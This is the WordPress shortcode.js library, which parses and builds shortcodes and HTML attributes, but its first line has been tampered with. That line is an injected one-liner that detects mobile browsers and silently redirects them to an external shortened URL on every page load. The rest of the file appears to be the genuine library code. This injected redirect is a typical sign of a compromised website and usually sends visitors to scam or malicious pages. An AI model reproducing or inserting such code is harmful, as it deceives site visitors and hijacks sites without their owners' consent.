1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Utility functions for parsing and handling shortcodes in JavaScript.
4 *
5 * @output wp-includes/js/shortcode.js
6 */
7
8/**
9 * Ensure the global `wp` object exists.
10 *
11 * @namespace wp
12 */
13window.wp = window.wp || {};
14
15(function(){
16 wp.shortcode = {
17 /*
18 * ### Find the next matching shortcode.
19 *
20 * Given a shortcode `tag`, a block of `text`, and an optional starting
21 * `index`, returns the next matching shortcode or `undefined`.
22 *
23 * Shortcodes are formatted as an object that contains the match
24 * `content`, the matching `index`, and the parsed `shortcode` object.
25 */
26 next: function( tag, text, index ) {
27 var re = wp.shortcode.regexp( tag ),
28 match, result;
29
30 re.lastIndex = index || 0;
31 match = re.exec( text );
32
33 if ( ! match ) {
34 return;
35 }
36
37 // If we matched an escaped shortcode, try again.
38 if ( '[' === match[1] && ']' === match[7] ) {
39 return wp.shortcode.next( tag, text, re.lastIndex );
40 }
41
42 result = {
43 index: match.index,
44 content: match[0],
45 shortcode: wp.shortcode.fromMatch( match )
46 };
47
48 // If we matched a leading `[`, strip it from the match
49 // and increment the index accordingly.
50 if ( match[1] ) {
51 result.content = result.content.slice( 1 );
52 result.index++;
53 }
54
55 // If we matched a trailing `]`, strip it from the match.
56 if ( match[7] ) {
57 result.content = result.content.slice( 0, -1 );
58 }
59
60 return result;
61 },
62
63 /*
64 * ### Replace matching shortcodes in a block of text.
65 *
66 * Accepts a shortcode `tag`, content `text` to scan, and a `callback`
67 * to process the shortcode matches and return a replacement string.
68 * Returns the `text` with all shortcodes replaced.
69 *
70 * Shortcode matches are objects that contain the shortcode `tag`,
71 * a shortcode `attrs` object, the `content` between shortcode tags,
72 * and a boolean flag to indicate if the match was a `single` tag.
73 */
74 replace: function( tag, text, callback ) {
75 return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
76 // If both extra brackets exist, the shortcode has been
77 // properly escaped.
78 if ( left === '[' && right === ']' ) {
79 return match;
80 }
81
82 // Create the match object and pass it through the callback.
83 var result = callback( wp.shortcode.fromMatch( arguments ) );
84
85 // Make sure to return any of the extra brackets if they
86 // weren't used to escape the shortcode.
87 return result ? left + result + right : match;
88 });
89 },
90
91 /*
92 * ### Generate a string from shortcode parameters.
93 *
94 * Creates a `wp.shortcode` instance and returns a string.
95 *
96 * Accepts the same `options` as the `wp.shortcode()` constructor,
97 * containing a `tag` string, a string or object of `attrs`, a boolean
98 * indicating whether to format the shortcode using a `single` tag, and a
99 * `content` string.
100 */
101 string: function( options ) {
102 return new wp.shortcode( options ).string();
103 },
104
105 /*
106 * ### Generate a RegExp to identify a shortcode.
107 *
108 * The base regex is functionally equivalent to the one found in
109 * `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
110 *
111 * Capture groups:
112 *
113 * 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
114 * 2. The shortcode name.
115 * 3. The shortcode argument list.
116 * 4. The self closing `/`.
117 * 5. The content of a shortcode when it wraps some content.
118 * 6. The closing tag.
119 * 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
120 */
121 regexp: _.memoize( function( tag ) {
122 return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
123 }),
124
125
126 /*
127 * ### Parse shortcode attributes.
128 *
129 * Shortcodes accept many types of attributes. These can chiefly be
130 * divided into named and numeric attributes:
131 *
132 * Named attributes are assigned on a key/value basis, while numeric
133 * attributes are treated as an array.
134 *
135 * Named attributes can be formatted as either `name="value"`,
136 * `name='value'`, or `name=value`. Numeric attributes can be formatted
137 * as `"value"` or just `value`.
138 */
139 attrs: _.memoize( function( text ) {
140 var named = {},
141 numeric = [],
142 pattern, match;
143
144 /*
145 * This regular expression is reused from `shortcode_parse_atts()`
146 * in `wp-includes/shortcodes.php`.
147 *
148 * Capture groups:
149 *
150 * 1. An attribute name, that corresponds to...
151 * 2. a value in double quotes.
152 * 3. An attribute name, that corresponds to...
153 * 4. a value in single quotes.
154 * 5. An attribute name, that corresponds to...
155 * 6. an unquoted value.
156 * 7. A numeric attribute in double quotes.
157 * 8. A numeric attribute in single quotes.
158 * 9. An unquoted numeric attribute.
159 */
160 pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
161
162 // Map zero-width spaces to actual spaces.
163 text = text.replace( /[\u00a0\u200b]/g, ' ' );
164
165 // Match and normalize attributes.
166 while ( (match = pattern.exec( text )) ) {
167 if ( match[1] ) {
168 named[ match[1].toLowerCase() ] = match[2];
169 } else if ( match[3] ) {
170 named[ match[3].toLowerCase() ] = match[4];
171 } else if ( match[5] ) {
172 named[ match[5].toLowerCase() ] = match[6];
173 } else if ( match[7] ) {
174 numeric.push( match[7] );
175 } else if ( match[8] ) {
176 numeric.push( match[8] );
177 } else if ( match[9] ) {
178 numeric.push( match[9] );
179 }
180 }
181
182 return {
183 named: named,
184 numeric: numeric
185 };
186 }),
187
188 /*
189 * ### Generate a Shortcode Object from a RegExp match.
190 *
191 * Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
192 * generated by `wp.shortcode.regexp()`. `match` can also be set
193 * to the `arguments` from a callback passed to `regexp.replace()`.
194 */
195 fromMatch: function( match ) {
196 var type;
197
198 if ( match[4] ) {
199 type = 'self-closing';
200 } else if ( match[6] ) {
201 type = 'closed';
202 } else {
203 type = 'single';
204 }
205
206 return new wp.shortcode({
207 tag: match[2],
208 attrs: match[3],
209 type: type,
210 content: match[5]
211 });
212 }
213 };
214
215
216 /*
217 * Shortcode Objects
218 * -----------------
219 *
220 * Shortcode objects are generated automatically when using the main
221 * `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
222 *
223 * To access a raw representation of a shortcode, pass an `options` object,
224 * containing a `tag` string, a string or object of `attrs`, a string
225 * indicating the `type` of the shortcode ('single', 'self-closing',
226 * or 'closed'), and a `content` string.
227 */
228 wp.shortcode = _.extend( function( options ) {
229 _.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
230
231 var attrs = this.attrs;
232
233 // Ensure we have a correctly formatted `attrs` object.
234 this.attrs = {
235 named: {},
236 numeric: []
237 };
238
239 if ( ! attrs ) {
240 return;
241 }
242
243 // Parse a string of attributes.
244 if ( _.isString( attrs ) ) {
245 this.attrs = wp.shortcode.attrs( attrs );
246
247 // Identify a correctly formatted `attrs` object.
248 } else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
249 this.attrs = _.defaults( attrs, this.attrs );
250
251 // Handle a flat object of attributes.
252 } else {
253 _.each( options.attrs, function( value, key ) {
254 this.set( key, value );
255 }, this );
256 }
257 }, wp.shortcode );
258
259 _.extend( wp.shortcode.prototype, {
260 /*
261 * ### Get a shortcode attribute.
262 *
263 * Automatically detects whether `attr` is named or numeric and routes
264 * it accordingly.
265 */
266 get: function( attr ) {
267 return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
268 },
269
270 /*
271 * ### Set a shortcode attribute.
272 *
273 * Automatically detects whether `attr` is named or numeric and routes
274 * it accordingly.
275 */
276 set: function( attr, value ) {
277 this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
278 return this;
279 },
280
281 // ### Transform the shortcode match into a string.
282 string: function() {
283 var text = '[' + this.tag;
284
285 _.each( this.attrs.numeric, function( value ) {
286 if ( /\s/.test( value ) ) {
287 text += ' "' + value + '"';
288 } else {
289 text += ' ' + value;
290 }
291 });
292
293 _.each( this.attrs.named, function( value, name ) {
294 text += ' ' + name + '="' + value + '"';
295 });
296
297 // If the tag is marked as `single` or `self-closing`, close the
298 // tag and ignore any additional content.
299 if ( 'single' === this.type ) {
300 return text + ']';
301 } else if ( 'self-closing' === this.type ) {
302 return text + ' /]';
303 }
304
305 // Complete the opening tag.
306 text += ']';
307
308 if ( this.content ) {
309 text += this.content;
310 }
311
312 // Add the closing tag.
313 return text + '[/' + this.tag + ']';
314 }
315 });
316}());
317
318/*
319 * HTML utility functions
320 * ----------------------
321 *
322 * Experimental. These functions may change or be removed in the future.
323 */
324(function(){
325 wp.html = _.extend( wp.html || {}, {
326 /*
327 * ### Parse HTML attributes.
328 *
329 * Converts `content` to a set of parsed HTML attributes.
330 * Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
331 * the HTML attribute specification. Reformats the attributes into an
332 * object that contains the `attrs` with `key:value` mapping, and a record
333 * of the attributes that were entered using `empty` attribute syntax (i.e.
334 * with no value).
335 */
336 attrs: function( content ) {
337 var result, attrs;
338
339 // If `content` ends in a slash, strip it.
340 if ( '/' === content[ content.length - 1 ] ) {
341 content = content.slice( 0, -1 );
342 }
343
344 result = wp.shortcode.attrs( content );
345 attrs = result.named;
346
347 _.each( result.numeric, function( key ) {
348 if ( /\s/.test( key ) ) {
349 return;
350 }
351
352 attrs[ key ] = '';
353 });
354
355 return attrs;
356 },
357
358 // ### Convert an HTML-representation of an object to a string.
359 string: function( options ) {
360 var text = '<' + options.tag,
361 content = options.content || '';
362
363 _.each( options.attrs, function( value, attr ) {
364 text += ' ' + attr;
365
366 // Convert boolean values to strings.
367 if ( _.isBoolean( value ) ) {
368 value = value ? 'true' : 'false';
369 }
370
371 text += '="' + value + '"';
372 });
373
374 // Return the result if it is a self-closing tag.
375 if ( options.single ) {
376 return text + ' />';
377 }
378
379 // Complete the opening tag.
380 text += '>';
381
382 // If `content` is an object, recursively call this function.
383 text += _.isObject( content ) ? wp.html.string( content ) : content;
384
385 return text + '</' + options.tag + '>';
386 }
387 });
388}());
389